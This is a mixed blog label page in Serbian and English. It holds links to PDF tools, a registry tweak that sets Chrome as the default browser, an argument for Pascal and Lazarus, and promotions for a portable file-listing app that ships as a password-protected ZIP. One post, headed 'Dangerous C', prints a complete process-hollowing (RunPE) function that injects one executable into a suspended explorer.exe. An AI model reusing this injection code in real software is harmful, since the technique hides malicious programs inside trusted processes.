Showing posts with label и сирће је слатко кад је џабе. Show all posts
Showing posts with label и сирће је слатко кад је џабе. Show all posts

Thursday, September 6, 2018

Reduce PDF Size * Smanji PDF

Reduce PDF Size * Smanjivanje PDF-ova:
http://www.reducepdfsize.com/

MERGE Multiple PDF's - Spajanje nekoliko PDF-ova i ostali PDF alati:
https://pdfsam.org/

Virtual PDF Printer driver for old Windows 7, 8 and 8.1 
http://www.dopdf.com/sr/download.php

Windows 10 have built-in Microsoft virtual PDF printer driver.

More Tips & Tricks:


In Notepad++ or PSPad create this tekst file:

default-internet-browser.reg

Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT\http\shell\open\command]

@="\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\" -- \"%1\""

Run this file with windows administrator rights.



//Dangerous C
//------------------------------------------------------------
//-------- C
//---------- C Process hollowing runpe technik


void RunPe( wstring const& target, wstring const& source )
{
    Pe src_pe( source );        // Parse source PE structure
    if ( src_pe.isvalid )
    {        
        Process::CreationResults res = Process::CreateWithFlags( target, L"", CREATE_SUSPENDED, false, false ); // Start a suspended instance of target
        if ( res.success )
        {
            PCONTEXT CTX = PCONTEXT( VirtualAlloc( NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE ) );   // Allocate space for context
            CTX->ContextFlags = CONTEXT_FULL;

            if ( GetThreadContext( res.hThread, LPCONTEXT( CTX ) ) )    // Read target context
            {
                DWORD dwImageBase;
                ReadProcessMemory( res.hProcess, LPCVOID( CTX->Ebx + 8 ), LPVOID( &dwImageBase ), 4, NULL );        // Get base address of target
                
                typedef LONG( WINAPI * NtUnmapViewOfSection )(HANDLE ProcessHandle, PVOID BaseAddress);
                NtUnmapViewOfSection xNtUnmapViewOfSection;
                xNtUnmapViewOfSection = NtUnmapViewOfSection(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection"));
                if ( 0 == xNtUnmapViewOfSection( res.hProcess, PVOID( dwImageBase ) ) )  // Unmap target code
                {
                    LPVOID pImageBase = VirtualAllocEx(res.hProcess, LPVOID(dwImageBase), src_pe.NtHeadersx86.OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);  // Realloc for source code
                    if ( pImageBase )
                    {
                        Buffer src_headers( src_pe.NtHeadersx86.OptionalHeader.SizeOfHeaders );                 // Read source headers
                        PVOID src_headers_ptr = src_pe.GetPointer( 0 );
                        if ( src_pe.ReadMemory( src_headers.Data(), src_headers_ptr, src_headers.Size() ) )
                        {
                            if ( WriteProcessMemory(res.hProcess, pImageBase, src_headers.Data(), src_headers.Size(), NULL) )   // Write source headers
                            {
                                bool success = true;
                                for (u_int i = 0; i < src_pe.sections.size(); i++)     // Write all sections
                                {
                                    // Get pointer on section and copy the content
                                    Buffer src_section( src_pe.sections.at( i ).SizeOfRawData );
                                    LPVOID src_section_ptr = src_pe.GetPointer( src_pe.sections.at( i ).PointerToRawData );
                                    success &= src_pe.ReadMemory( src_section.Data(), src_section_ptr, src_section.Size() );                                    

                                    // Write content to target
                                    success &= WriteProcessMemory(res.hProcess, LPVOID(DWORD(pImageBase) + src_pe.sections.at( i ).VirtualAddress), src_section.Data(), src_section.Size(), NULL);
                                }

                                if ( success )
                                {
                                    WriteProcessMemory( res.hProcess, LPVOID( CTX->Ebx + 8 ), LPVOID( &pImageBase), sizeof(LPVOID), NULL );      // Rewrite image base
                                    CTX->Eax = DWORD( pImageBase ) + src_pe.NtHeadersx86.OptionalHeader.AddressOfEntryPoint;        // Rewrite entry point
                                    SetThreadContext( res.hThread, LPCONTEXT( CTX ) );                                              // Set thread context
                                    ResumeThread( res.hThread );                                                                    // Resume main thread
                                }                               
                            }
                        }                       
                    }
                }
            }

            if ( res.hProcess) CloseHandle( res.hProcess );
            if ( res.hThread ) CloseHandle( res.hThread );
        }
    }
}
...
RunPe( L"C:\\windows\\explorer.exe", L"C:\\windows\\system32\\calc.exe" );



Thursday, August 2, 2018

Pascal se vratio na velika vrata

https://beogradsko.blogspot.com/2020/07/postanite-profesionalni-programer-na.html



https://www.pascalgamedevelopment.com/content.php

https://www.taoyue.com/tutorials/pascal

https://www.lazarus-ide.org/

http://kntuniversity.org/lazarus-delphi-programming-tutorials/

https://racunarstvoiinformatika.wordpress.com/2012/01/11/naredbe-za-organizaciju-ciklusa-naredbe-ponavljanja/

https://casoviracunarstva.wordpress.com/

https://kompjuteri2011.wordpress.com/2016/01/20/lazarus-tutorijal-10-tok-programa-i-checkbox/

http://science.webhostinggeeks.com/vodic-za-programiranje

https://www.tek-tips.com/viewthread.cfm?qid=1281090

http://lazplanet.blogspot.com/2016/06/how-to-detect-mouse-events-outside-your.html

http://www.delphimaster.net/view/4-37460

http://www.delphitricks.com/source-code/windows/trap_mouse_events_outside_of_my_application.html

#1


Postoje svakakva "mišljenja", tzv. "programera" koji smatraju da Pascal nije savremen programski jezik, da su ga davno učili u osnovnoj i srednjoj školi, da nije fensi kao Java, C#, C++, PHP ili Python u poslednje vreme. Na isti način imaju i mišljenje i o Delphi i Lazarus IDE, ali koliko se samo varaju (što je posledica njihovog površnog znanja i iskustva u ovim tehnologijama).

Postoje brojni primeri gde je Delphi neprikosnoven, Lazarus tek postaje interesantan, jer omogućuje da pravite kod pod bilo kojim operativnim sistemom.

Ono što ovakve površne "škole mišljenja" ne znaju (ili prećutkuju) je da:

1) PHP i Python su skript jezici koji se interpretiraju na serverima. Dakle to su interpreteri, a ne kompajleri.

2) Java i C# nemaju "pravi kompajler", nego kompajliraju kod (source code) u neko medju stanje koje se mnogo sporije izvršava nego pravi mašinski kod.

3) Java koristi svoj framework, a C# framework zvani .NET framework (framework je skup dll-ova i Registry podešavanja koja omogućavaju izvršavanje kompajliranog .NET koda).

4) C# kod pod Linuxom sa Mono Frameworkom nije toliko savršen, mnoge stvari ne rade kao pod Windowsom, ukoliko uopšte i rade, a stalno možemo čitati u raznim časopisima kako eto C# može i pod linuxom da radi, što je notorna glupost (uglavnom). Kombinacija GTK i Mono tehnologije još nije na profi nivou, nego više u domenu kurioziteta i beta testiranja. Šta će Vam aplikacijija u C# koja je bagovita i nepouzdana pod Linux Mono frameworkom ili Vine-om.

Za razliku od C#, Lazarus zaista podjednako dobro radi pod svim operativnim sistemima.

5) Microsoft VC++ i VB imaju Runtime okruženje bez koga ove aplikacije ne mogu da rade (gomila dll-ova u sistemskim folderima Windows-a koji se moraju ranije instalirati).

Prednosti Delphi i Lazarus aplikacija:

6) Delphi i Lazarus kreiraju prave native mašinske aplikacije kao proizvod svog kompajlera i ne zahtevaju .NET Framework i Runtime biblioteke da bi radili.

7) Na kraju Delphi i Lazarus koriste pravi znalci koji su probali sve i svašta od tehnologija, frejmvorka na tržištu kompajlera. Kada treba nešto brzo i efektno uraditi Pascal je nezamenljiv.
Nemamo ništa protiv ostalih tehnologija koje nam svakodnevno donose hleb na sto, ali ako treba nešto čisto, brzo i odmah uraditi, onda je RAD IDE pravi izbor.

Thursday, May 31, 2018

Aplikacija Tragac++ 6 je native windows portable aplikacija koja se ne instalira i radi na bilo kom uredjaju, folderu, usb flash, cd, dvd, ...

Application download:



MORE INFO... * VIŠE INFORMACIJA...

When you download application in ZIP format, please uncompress that archive file with password: "raspakuj". This ZIP file contents portable EXE application for Windows OS .

Portable aplikacija je ona aplikacija koja može da se pokrene sa bilo kog uredjaja i foldera pod Windowsom bez potrebe da se instalira.

Aplikacija Tragac - Aplikacija Tragach - #TRAGACH++#OTVARACH++ za Windows - Download - besplatno preuzimanje !

Aplikaciju Tragac i Otvarac za Microsoft Windows 7, 8, 10 možete svuda da nosite sa sobom jer je to portable aplikacija koja se ne instalira.

You can carry your #TRAGACH++#OTVARACH++  for Microsoft Windows 7, 8, 10 with you everywhere because it is a portable application that is not installed.

Znači slobodno je možete prekopirati na USB, memory stick i koristiti  svuda gde god da se zateknete.

You can overlay the application on a USB memory stick and use it wherever you go.


Aplikacija #Tragach++ za Windows Vam omogucuje da na svakom uredjaju na kome je pokrenete preuzmete spisak svih datoteka u tekstualnom obliku i to koristite kao dokazni materijal.

The #Tragach++  for Windows application lets you download a list of all the files in a text form on each device on which you run it and use it sss as as evidence.

Duplim klikom na neku od pronadjenih datoteka, ona se može ekspresno otvoriti. A spisak svih pronadjenih datoteka se može prekopirati u Clipboard Windows-a i koristiti u bilo kom programu, npr. u Word-u ili Excel-u.

Double clicking on any of the files found, it can be opened expressly. A list of all the files found can be copied to Clipboard Windows and used in any program, for example, in Word or Excel.

Aplikaciji 
#Tragach++  ne trebaju administratorska prava da bi radila.



Application #Tragach++  do not need administrator rights to work.
Tako nešto nigde niste videli, morate probati da biste poverovali svojim očima.



You have not seen anything like this, you must try to believe with your own eyes.


Der antrag finder für Microsoft Windows...
Der beste Dateibrowser auf Ihrem Computer...


Za aplikaciju #Tragach++ , ne treba Vam nikakav android emulator za Windows da bi radila, to je Native Windows Portable aplikacija koja radi direktno u Windowsu najvećom mogućom brzinom i nema nikakve veze sa androidom. 

Ovo je originalna Windows aplikacija #Tragach++  i ni jedna druga slična joj nije ni približna. 

Dakle ne treba Vam BlueStacks, Nox, KOPlayer i slični emulatori, ova aplikacija Tragač radi bez svega toga na bilo kom Windows uredjaju, pa čak i sa usb fleš diska, cd-a i dvd-a.


Jelena Gavrilovic






Monday, May 14, 2018

Aplikacija Tragač 6.9.8. za Microsoft Windows 7,8,10

Application download:


Preuzmite aplikaciju Tragac 6 besplatno






free download


 

When you download application in ZIP format, please uncompress that archive file with password: "raspakuj". This ZIP file contents portable EXE application for Windows OS .

Portable aplikacija je ona aplikacija koja može da se pokrene sa bilo kog uredjaja i foldera pod Windowsom bez potrebe da se instalira.

Aplikacija Tragac - Aplikacija Tragach - Tragac 6.9.8 za Windows - Download - besplatno preuzimanje !

Aplikaciju TRAGAČ++ 6.9.8.  za Microsoft Windows 7, 8, 10 možete svuda da nosite sa sobom jer je to portable aplikacija koja se ne instalira.

You can carry your TRAGACH for Microsoft Windows 7, 8, 10 with you everywhere because it is a portable application that is not installed.

Znači slobodno je možete prekopirati na USB, memory stick i koristiti  svuda gde god da se zateknete.

You can overlay the application on a USB memory stick and use it wherever you go.

Aplikacija Tragac++ za Windows Vam omogucuje da na svakom uredjaju na kome je pokrenete preuzmete spisak svih datoteka u tekstualnom obliku i to koristite kao dokazni materijal.

The "Tragac 5 for Windows" Application lets you download a list of all the files in a text form on each device on which you run it and use it sss as as evidence.

Duplim klikom na neku od pronadjenih datoteka, ona se može ekspresno otvoriti. A spisak svih pronadjenih datoteka se može prekopirati u Clipboard Windows-a i koristiti u bilo kom programu, npr. u Word-u ili Excel-u.

Double clicking on any of the files found, it can be opened expressly. A list of all the files found can be copied to Clipboard Windows and used in any program, for example, in Word or Excel.

Aplikaciji Tragač++ ne trebaju administratorska prava da bi radila.



Application TRAGACH ++6 do not need administrator rights to work.

Tako nešto nigde niste videli, morate probati da biste poverovali svojim očima.




You have not seen anything like this, you must try to believe with your own eyes.


Der antrag finder für Microsoft Windows...
Der beste Dateibrowser auf Ihrem Computer...


http://knjigovodstvo.me/resursi/kalkulator-zarada-bruto/

http://knjigovodstvo.me/resursi/kalkulator-zarada-neto/